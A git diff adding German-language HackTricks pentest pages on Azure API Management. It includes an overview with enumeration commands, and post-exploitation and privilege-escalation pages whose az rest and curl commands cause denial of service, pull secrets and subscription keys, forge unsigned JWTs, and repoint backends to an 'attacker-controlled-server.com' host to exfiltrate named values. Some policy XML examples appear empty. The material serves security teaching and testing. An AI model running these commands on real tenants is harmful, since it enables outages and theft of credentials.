diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..1c38f2502 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +Der Angreifer kann mehrere Vektoren nutzen, um einen denial of service zu verursachen. Um legitimen Traffic zu blockieren, fügt der Angreifer rate-limiting- und quota policies mit extrem niedrigen Werten hinzu, wodurch normaler Zugriff effektiv verhindert wird: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Um bestimmte legitime Client-IP-Adressen zu blockieren, kann der Angreifer IP-Filterrichtlinien hinzufügen, die Anfragen von ausgewählten Adressen ablehnen: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Um Anfragen fehlschlagen zu lassen, kann ein Angreifer die Backend-Konfiguration ändern und die URL auf eine ungültige oder nicht erreichbare Adresse setzen: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +Oder Backends löschen: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Um kritische APIs unzugänglich zu machen, kann ein Angreifer sie direkt aus dem API Management service löschen: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` oder `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Um den Zugriff aus dem Internet zu blockieren, kann der Angreifer den öffentlichen Netzwerkzugriff auf dem API Management service deaktivieren: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Um den Zugriff berechtigter Benutzer zu blockieren, kann der Angreifer API Management-Abonnements löschen: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..2e287826f --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +Der Angriff besteht darin, auf sensible secrets zuzugreifen, die in Azure API Management Named Values gespeichert sind, entweder durch direktes Abrufen von secret values oder durch Missbrauch von Berechtigungen, um Key Vault–backed secrets über managed identities zu erhalten. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Für jede Subscription kann ein Angreifer die subscription keys über den listSecrets-Endpunkt mit der POST-Methode erhalten: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +Die Antwort enthält den Subscription-Primary-Key (primaryKey) und den Secondary-Key (secondaryKey). Mit diesen Schlüsseln kann der Angreifer sich authentifizieren und auf die über das API Management Gateway veröffentlichten APIs zugreifen: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +Der Angreifer kann auf alle APIs und Produkte zugreifen, die mit der Subscription verknüpft sind. Falls die Subscription Zugriff auf sensible Produkte oder APIs hat, kann der Angreifer vertrauliche Informationen erlangen oder nicht autorisierte Operationen durchführen. + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +Der Angreifer ruft zunächst die aktuelle API-Policy ab: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +Der Angreifer kann die Richtlinie auf verschiedene Weise ändern, abhängig von seinen Zielen. Zum Beispiel kann er, um die Authentifizierung zu deaktivieren, wenn die Richtlinie JWT token validation enthält, diesen Abschnitt entfernen oder auskommentieren: +```xml + + + + + + + + + + + + + + + + +``` +Um Rate-Limit-Kontrollen zu entfernen und denial-of-service attacks zu ermöglichen, kann der Angreifer quota and rate-limit policies entfernen oder auskommentieren: +```xml + + + + + + +... + +``` +Um die Backend-Route zu ändern und den Datenverkehr zu einem vom Angreifer kontrollierten Server umzuleiten: +```xml + +... + + + + +... + +``` +Der Angreifer wendet dann die modifizierte Richtlinie an. Der Request-Body muss ein JSON-Objekt sein, das die Richtlinie im XML-Format enthält: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## JWT-Validierungsfehlkonfiguration + +Der Angreifer muss wissen, dass eine API JWT-Token-Validierung verwendet und dass die Policy fehlerhaft konfiguriert ist. Schlecht konfigurierte JWT-Validierungs-Policies können `require-signed-tokens="false"` oder `require-expiration-time="false"` enthalten, was dem Service erlaubt, unsignierte Tokens oder Tokens, die nie ablaufen, zu akzeptieren. + +Der Angreifer erstellt ein bösartiges JWT-Token mit dem none-Algorithmus (unsigned): +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +Der Angreifer sendet eine Anfrage an die API unter Verwendung des bösartigen Tokens: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Wenn die Richtlinie falsch konfiguriert ist mit `require-signed-tokens="false"`, akzeptiert der Dienst das unsignierte Token. Der Angreifer kann außerdem ein Token ohne Ablauf-Claim erstellen, wenn `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Der Angreifer prüft zunächst die aktuelle Netzwerkkonfiguration des Dienstes: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +Der Angreifer überprüft die JSON-Antwort, um die Werte von `publicNetworkAccess` und `virtualNetworkType` zu verifizieren. Wenn `publicNetworkAccess` auf false gesetzt ist oder `virtualNetworkType` auf Internal steht, ist der Dienst für privaten Zugriff konfiguriert. + +Um den Dienst dem Internet zugänglich zu machen, muss der Angreifer beide Einstellungen ändern. Läuft der Dienst im internen Modus (`virtualNetworkType: "Internal"`), ändert der Angreifer ihn auf None oder External und aktiviert den öffentlichen Netzwerkzugriff. Dies kann mit der Azure Management API durchgeführt werden: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Sobald `virtualNetworkType` auf `None` oder `External` gesetzt ist und `publicNetworkAccess` aktiviert ist, sind der Service und alle seine APIs aus dem Internet zugänglich, selbst wenn sie zuvor hinter einem privaten Netzwerk oder privaten Endpunkten geschützt waren. + +## `Microsoft.ApiManagement/service/backends/write` +Der Angreifer listet zunächst die vorhandenen Backends auf, um zu ermitteln, welches er ändern soll: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +Der Angreifer ruft die aktuelle Konfiguration des Backends ab, das er ändern möchte: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +Der Angreifer ändert die backend-URL so, dass sie auf einen Server unter seiner Kontrolle zeigt. Zuerst erhält er das ETag aus der vorherigen response und aktualisiert dann das backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +Alternativ kann der Angreifer Backend-Header konfigurieren, um Named Values mit Geheimnissen zu exfiltrate. Dies erfolgt über die Konfiguration der Backend-Zugangsdaten: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +Mit dieser Konfiguration werden Named Values als headers in allen Requests an das attacker-controlled Backend gesendet, wodurch die Exfiltration sensibler Secrets ermöglicht wird. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..dfec12a12 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,74 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Grundlegende Informationen + +Azure API Management (APIM) ist ein vollständig verwalteter Dienst, der eine **einheitliche Plattform zum Veröffentlichen, Absichern, Transformieren, Verwalten und Überwachen von APIs** bietet. Er ermöglicht Organisationen, ihre **API-Strategie zu zentralisieren** und eine konsistente Governance, Performance und Sicherheit über alle Dienste hinweg sicherzustellen. Indem APIM als Abstraktionsschicht zwischen Backend-Services und API-Konsumenten fungiert, vereinfacht es die Integration und verbessert die Wartbarkeit, während es wesentliche Betriebs- und Sicherheitsfunktionen bereitstellt. + +## Kernkonzepte + +**The API Gateway** dient als einziger Einstiegspunkt für gesamten API-Traffic und übernimmt Aufgaben wie das Weiterleiten von Requests an Backend-Services, Durchsetzen von Rate Limits, Caching von Antworten sowie die Verwaltung von Authentifizierung und Autorisierung. Dieses Gateway wird vollständig von Azure gehostet und verwaltet, was hohe Verfügbarkeit und Skalierbarkeit sicherstellt. + +**The Developer Portal** bietet eine Self-Service-Umgebung, in der API-Konsumenten verfügbare APIs entdecken, Dokumentation lesen und Endpunkte testen können. Es erleichtert das Onboarding durch interaktive Werkzeuge und den Zugriff auf Abonnementinformationen. + +**The Management Portal (Management Plane)** wird von Administratoren verwendet, um den APIM-Dienst zu konfigurieren und zu warten. Von hier aus können Benutzer APIs und Operationen definieren, Zugriffskontrollen konfigurieren, Policies anwenden, Benutzer verwalten und APIs in Produkte organisieren. Dieses Portal zentralisiert die Administration und sorgt für konsistente API-Governance. + +## Authentifizierung und Autorisierung + +Azure API Management unterstützt mehrere **authentication mechanisms**, um den API-Zugriff zu sichern. Dazu gehören **subscription keys**, **OAuth 2.0 tokens** und **client certificates**. APIM integriert sich außerdem nativ mit **Microsoft Entra ID**, wodurch **enterprise-level identity management** und **secure access** sowohl zu APIs als auch zu Backend-Services ermöglicht werden. + +## Richtlinien + +Policies in APIM erlauben Administratoren, die **Request- und Response-Verarbeitung** auf verschiedenen Ebenen anzupassen, einschließlich Service-, API-, Operation- oder Product-Ebene. Über Policies lassen sich unter anderem **JWT token validation** durchsetzen, **XML- oder JSON-Payloads transformieren**, **Rate Limiting** anwenden, Anfragen nach IP-Adresse einschränken oder die Authentifizierung gegenüber Backend-Services mittels managed identities durchführen. Policies sind **sehr flexibel** und bilden eine der **Kernstärken** der API Management-Plattform, da sie **feinkörnige Kontrolle über das Laufzeitverhalten** ermöglichen, ohne Backend-Code ändern zu müssen. + +## Named Values + +Der Dienst bietet einen Mechanismus namens **Named Values**, mit dem **Konfigurationsinformationen** wie **Secrets**, **API Keys** oder andere von Policies benötigte Werte gespeichert werden können. + +Diese Werte können direkt in APIM gespeichert oder sicher aus **Azure Key Vault** referenziert werden. Named Values fördern eine **sichere und zentrale Verwaltung** von Konfigurationsdaten und vereinfachen das Erstellen von Policies, indem sie **wiederverwendbare Referenzen** anstelle von hartkodierten Werten ermöglichen. + +## Netzwerk- und Sicherheitsintegration + +Azure API Management integriert sich nahtlos in **virtual network environments** und ermöglicht so **private und sichere Konnektivität** zu Backend-Systemen. + +Wenn innerhalb eines **Virtual Network (VNet)** bereitgestellt, kann APIM auf **interne Services** zugreifen, ohne diese öffentlich offenzulegen. Der Dienst erlaubt außerdem die Konfiguration von **custom certificates**, um **mutual TLS authentication** mit Backend-Services zu unterstützen, was die Sicherheit in Szenarien verbessert, in denen eine **starke Identitätsvalidierung** erforderlich ist. + +Diese **Netzwerkfunktionen** machen APIM sowohl für **cloud-native** als auch für **hybride Architekturen** geeignet. + +### Auflisten + +Um den API Management-Dienst zu enumerieren: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}